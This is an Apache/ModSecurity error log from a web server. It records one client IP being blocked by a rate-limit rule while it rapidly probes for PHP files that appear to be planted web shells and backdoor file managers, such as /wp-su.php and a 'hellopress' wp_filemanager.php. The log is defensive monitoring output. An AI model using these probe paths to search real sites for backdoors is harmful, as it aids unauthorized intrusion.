[Fri Jan 30 07:32:13.454788 2026] [:error] [pid 38980:tid 39005] [client 20.196.201.42:9806] [client 20.196.201.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/reze.php"] [unique_id "aXvt_bYByxUZEaKXdHr3UwAAAhI"]
[Fri Jan 30 07:32:13.762171 2026] [:error] [pid 38686:tid 38701] [client 20.196.201.42:9853] [client 20.196.201.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/reze.php"] [unique_id "aXvt_QoE8BAjgw1_sAWzxwAAAcs"]
[Fri Jan 30 07:32:14.031053 2026] [:error] [pid 38686:tid 38707] [client 20.196.201.42:9839] [client 20.196.201.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/11092null.php"] [unique_id "aXvt_goE8BAjgw1_sAWzyAAAAdE"]
[Fri Jan 30 07:32:14.381847 2026] [:error] [pid 38686:tid 38696] [client 20.196.201.42:9774] [client 20.196.201.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/11092null.php"] [unique_id "aXvt_goE8BAjgw1_sAWzygAAAcY"]
[Fri Jan 30 07:32:14.648927 2026] [:error] [pid 24711:tid 24736] [client 20.196.201.42:9753] [client 20.196.201.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/11092null.php"] [unique_id "aXvt_q5Gwh4var6T23JgtwAAAVY"]
[Fri Jan 30 07:32:14.928621 2026] [:error] [pid 46914:tid 46992] [client 20.196.201.42:9805] [client 20.196.201.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/11092null.php"] [unique_id "aXvt_lgSfJ4kZxNKlb_NbwAAAI4"]
[Fri Jan 30 07:32:15.199013 2026] [:error] [pid 47021:tid 47038] [client 20.196.201.42:9845] [client 20.196.201.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o2.php"] [unique_id "aXvt_9ap1k13UdZUNSRnDQAAAM8"]
[Fri Jan 30 07:32:15.467969 2026] [:error] [pid 24681:tid 24704] [client 20.196.201.42:9849] [client 20.196.201.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o2.php"] [unique_id "aXvt_4E368IXQpahn0LVGAAAARU"]
[Fri Jan 30 07:32:15.739441 2026] [:error] [pid 46912:tid 46937] [client 20.196.201.42:3044] [client 20.196.201.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o2.php"] [unique_id "aXvt_z6yiVW7A9NwFFkgDwAAAA0"]
[Fri Jan 30 07:32:16.024870 2026] [:error] [pid 47021:tid 47040] [client 20.196.201.42:9819] [client 20.196.201.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o2.php"] [unique_id "aXvuANap1k13UdZUNSRnDwAAANE"]
[Fri Jan 30 07:32:16.314135 2026] [:error] [pid 47021:tid 47025] [client 20.196.201.42:9852] [client 20.196.201.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/166.php"] [unique_id "aXvuANap1k13UdZUNSRnEAAAAMI"]
[Fri Jan 30 07:32:16.625722 2026] [:error] [pid 46913:tid 46969] [client 20.196.201.42:9745] [client 20.196.201.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/166.php"] [unique_id "aXvuADMWmKL8hOfC3uQuRQAAAFI"]
[Fri Jan 30 07:32:16.918649 2026] [:error] [pid 24711:tid 24716] [client 20.196.201.42:9821] [client 20.196.201.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/166.php"] [unique_id "aXvuAK5Gwh4var6T23JgvAAAAUI"]
[Fri Jan 30 07:32:17.197849 2026] [:error] [pid 38980:tid 38989] [client 20.196.201.42:9732] [client 20.196.201.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/166.php"] [unique_id "aXvuAbYByxUZEaKXdHr3VwAAAgI"]
[Fri Jan 30 07:32:17.470761 2026] [:error] [pid 47021:tid 47044] [client 20.196.201.42:9814] [client 20.196.201.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/by.php"] [unique_id "aXvuAdap1k13UdZUNSRnEgAAANU"]
[Fri Jan 30 07:32:17.749678 2026] [:error] [pid 38980:tid 38988] [client 20.196.201.42:9804] [client 20.196.201.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/by.php"] [unique_id "aXvuAbYByxUZEaKXdHr3WAAAAgE"]
[Fri Jan 30 07:32:18.028926 2026] [:error] [pid 38686:tid 38698] [client 20.196.201.42:9817] [client 20.196.201.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/by.php"] [unique_id "aXvuAgoE8BAjgw1_sAWzzQAAAcg"]
[Fri Jan 30 07:32:18.302478 2026] [:error] [pid 24712:tid 24753] [client 20.196.201.42:9731] [client 20.196.201.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/by.php"] [unique_id "aXvuAoRLQrFiQF3h9-tumQAAAYw"]
[Fri Jan 30 07:32:18.626444 2026] [:error] [pid 24712:tid 24755] [client 20.196.201.42:9741] [client 20.196.201.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zz8.php"] [unique_id "aXvuAoRLQrFiQF3h9-tunAAAAY4"]
[Fri Jan 30 07:32:18.897172 2026] [:error] [pid 47021:tid 47029] [client 20.196.201.42:9798] [client 20.196.201.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zz8.php"] [unique_id "aXvuAtap1k13UdZUNSRnFAAAAMY"]
[Fri Jan 30 07:32:19.169804 2026] [:error] [pid 46912:tid 46922] [client 20.196.201.42:9808] [client 20.196.201.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zz8.php"] [unique_id "aXvuAz6yiVW7A9NwFFkgEgAAAAA"]
[Fri Jan 30 07:32:19.439942 2026] [:error] [pid 46913:tid 46963] [client 20.196.201.42:3011] [client 20.196.201.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zz8.php"] [unique_id "aXvuAzMWmKL8hOfC3uQuRwAAAEw"]
[Fri Jan 30 07:32:19.718882 2026] [:error] [pid 24712:tid 24754] [client 20.196.201.42:9807] [client 20.196.201.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/s1.php"] [unique_id "aXvuA4RLQrFiQF3h9-tunQAAAY0"]
[Fri Jan 30 07:32:19.986878 2026] [:error] [pid 24681:tid 24688] [client 20.196.201.42:9826] [client 20.196.201.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/s1.php"] [unique_id "aXvuA4E368IXQpahn0LVHAAAAQU"]
[Fri Jan 30 07:32:20.267387 2026] [:error] [pid 46912:tid 46933] [client 20.196.201.42:9844] [client 20.196.201.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/s1.php"] [unique_id "aXvuBD6yiVW7A9NwFFkgFAAAAAk"]
[Fri Jan 30 07:32:20.543083 2026] [:error] [pid 24711:tid 24717] [client 20.196.201.42:3036] [client 20.196.201.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/s1.php"] [unique_id "aXvuBK5Gwh4var6T23JgvwAAAUM"]
[Fri Jan 30 07:32:20.864356 2026] [:error] [pid 46913:tid 46954] [client 20.196.201.42:9802] [client 20.196.201.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ah21.php"] [unique_id "aXvuBDMWmKL8hOfC3uQuSgAAAEM"]
[Fri Jan 30 07:32:21.179636 2026] [:error] [pid 47021:tid 47023] [client 20.196.201.42:9825] [client 20.196.201.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ah21.php"] [unique_id "aXvuBdap1k13UdZUNSRnFwAAAMA"]
[Fri Jan 30 07:32:21.458527 2026] [:error] [pid 24681:tid 24692] [client 20.196.201.42:9828] [client 20.196.201.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ah21.php"] [unique_id "aXvuBYE368IXQpahn0LVHgAAAQk"]
[Fri Jan 30 07:32:21.788929 2026] [:error] [pid 24681:tid 24705] [client 20.196.201.42:9759] [client 20.196.201.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ah21.php"] [unique_id "aXvuBYE368IXQpahn0LVIAAAARY"]
[Fri Jan 30 07:32:22.077337 2026] [:error] [pid 38980:tid 38990] [client 20.196.201.42:9841] [client 20.196.201.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ah22.php"] [unique_id "aXvuBrYByxUZEaKXdHr3XgAAAgM"]
[Fri Jan 30 07:32:22.365803 2026] [:error] [pid 24681:tid 24706] [client 20.196.201.42:9831] [client 20.196.201.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ah22.php"] [unique_id "aXvuBoE368IXQpahn0LVIwAAARc"]
[Fri Jan 30 07:32:22.637148 2026] [:error] [pid 24711:tid 24732] [client 20.196.201.42:9729] [client 20.196.201.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ah22.php"] [unique_id "aXvuBq5Gwh4var6T23JgwQAAAVI"]
[Fri Jan 30 07:32:22.910603 2026] [:error] [pid 24681:tid 24685] [client 20.196.201.42:3010] [client 20.196.201.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ah22.php"] [unique_id "aXvuBoE368IXQpahn0LVJAAAAQI"]
[Fri Jan 30 07:32:23.184712 2026] [:error] [pid 47021:tid 47032] [client 20.196.201.42:3027] [client 20.196.201.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws38.php"] [unique_id "aXvuB9ap1k13UdZUNSRnHQAAAMk"]
[Fri Jan 30 07:32:23.455011 2026] [:error] [pid 47021:tid 47027] [client 20.196.201.42:3018] [client 20.196.201.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws38.php"] [unique_id "aXvuB9ap1k13UdZUNSRnHwAAAMQ"]
[Fri Jan 30 07:32:23.728192 2026] [:error] [pid 24711:tid 24714] [client 20.196.201.42:9847] [client 20.196.201.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws38.php"] [unique_id "aXvuB65Gwh4var6T23JgxAAAAUA"]
[Fri Jan 30 07:32:24.055768 2026] [:error] [pid 24711:tid 24731] [client 20.196.201.42:9795] [client 20.196.201.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws38.php"] [unique_id "aXvuCK5Gwh4var6T23JgxQAAAVE"]
[Fri Jan 30 07:32:24.333303 2026] [:error] [pid 46913:tid 46959] [client 20.196.201.42:9842] [client 20.196.201.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aXvuCDMWmKL8hOfC3uQuTQAAAEg"]
[Fri Jan 30 07:32:24.610979 2026] [:error] [pid 46913:tid 46968] [client 20.196.201.42:3012] [client 20.196.201.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aXvuCDMWmKL8hOfC3uQuTgAAAFE"]
[Fri Jan 30 07:32:24.877857 2026] [:error] [pid 38980:tid 39003] [client 20.196.201.42:3059] [client 20.196.201.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aXvuCLYByxUZEaKXdHr3ZgAAAhA"]
[Fri Jan 30 07:32:25.154490 2026] [:error] [pid 38980:tid 38997] [client 20.196.201.42:9744] [client 20.196.201.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aXvuCbYByxUZEaKXdHr3aQAAAgo"]
[Fri Jan 30 07:32:25.452943 2026] [:error] [pid 38686:tid 38699] [client 20.196.201.42:9840] [client 20.196.201.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uploaxa1.php"] [unique_id "aXvuCQoE8BAjgw1_sAWz0wAAAck"]
[Fri Jan 30 07:32:25.729406 2026] [:error] [pid 38980:tid 39006] [client 20.196.201.42:9747] [client 20.196.201.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uploaxa1.php"] [unique_id "aXvuCbYByxUZEaKXdHr3bQAAAhM"]
[Fri Jan 30 07:32:26.038998 2026] [:error] [pid 47021:tid 47043] [client 20.196.201.42:9803] [client 20.196.201.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uploaxa1.php"] [unique_id "aXvuCtap1k13UdZUNSRnIgAAANQ"]
[Fri Jan 30 07:32:26.356504 2026] [:error] [pid 46913:tid 46969] [client 20.196.201.42:9784] [client 20.196.201.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uploaxa1.php"] [unique_id "aXvuCjMWmKL8hOfC3uQuUQAAAFI"]
[Fri Jan 30 07:32:26.661021 2026] [:error] [pid 46913:tid 46972] [client 20.196.201.42:3042] [client 20.196.201.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-su.php"] [unique_id "aXvuCjMWmKL8hOfC3uQuUwAAAFU"]
[Fri Jan 30 07:32:27.005541 2026] [:error] [pid 47021:tid 47029] [client 20.196.201.42:9792] [client 20.196.201.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-su.php"] [unique_id "aXvuC9ap1k13UdZUNSRnJAAAAMY"]
[Fri Jan 30 07:32:27.417520 2026] [:error] [pid 24681:tid 24705] [client 20.196.201.42:9830] [client 20.196.201.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-su.php"] [unique_id "aXvuC4E368IXQpahn0LVKAAAARY"]
[Fri Jan 30 07:32:27.703851 2026] [:error] [pid 47021:tid 47033] [client 20.196.201.42:3033] [client 20.196.201.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-su.php"] [unique_id "aXvuC9ap1k13UdZUNSRnJgAAAMo"]
[Fri Jan 30 07:32:27.986786 2026] [:error] [pid 47021:tid 47047] [client 20.196.201.42:9827] [client 20.196.201.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rzzaq.php"] [unique_id "aXvuC9ap1k13UdZUNSRnKQAAANg"]
[Fri Jan 30 07:32:28.350527 2026] [:error] [pid 46912:tid 46937] [client 20.196.201.42:9800] [client 20.196.201.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rzzaq.php"] [unique_id "aXvuDD6yiVW7A9NwFFkgGQAAAA0"]
[Fri Jan 30 07:32:28.680919 2026] [:error] [pid 46914:tid 47001] [client 20.196.201.42:3015] [client 20.196.201.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rzzaq.php"] [unique_id "aXvuDFgSfJ4kZxNKlb_NdgAAAJc"]
[Fri Jan 30 07:32:29.022600 2026] [:error] [pid 46912:tid 46926] [client 20.196.201.42:9780] [client 20.196.201.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rzzaq.php"] [unique_id "aXvuDT6yiVW7A9NwFFkgHQAAAAI"]
[Fri Jan 30 07:32:29.375848 2026] [:error] [pid 38980:tid 38996] [client 20.196.201.42:9738] [client 20.196.201.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abtpn.php"] [unique_id "aXvuDbYByxUZEaKXdHr3bwAAAgk"]
[Fri Jan 30 07:32:29.658218 2026] [:error] [pid 47021:tid 47045] [client 20.196.201.42:9749] [client 20.196.201.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abtpn.php"] [unique_id "aXvuDdap1k13UdZUNSRnLQAAANY"]
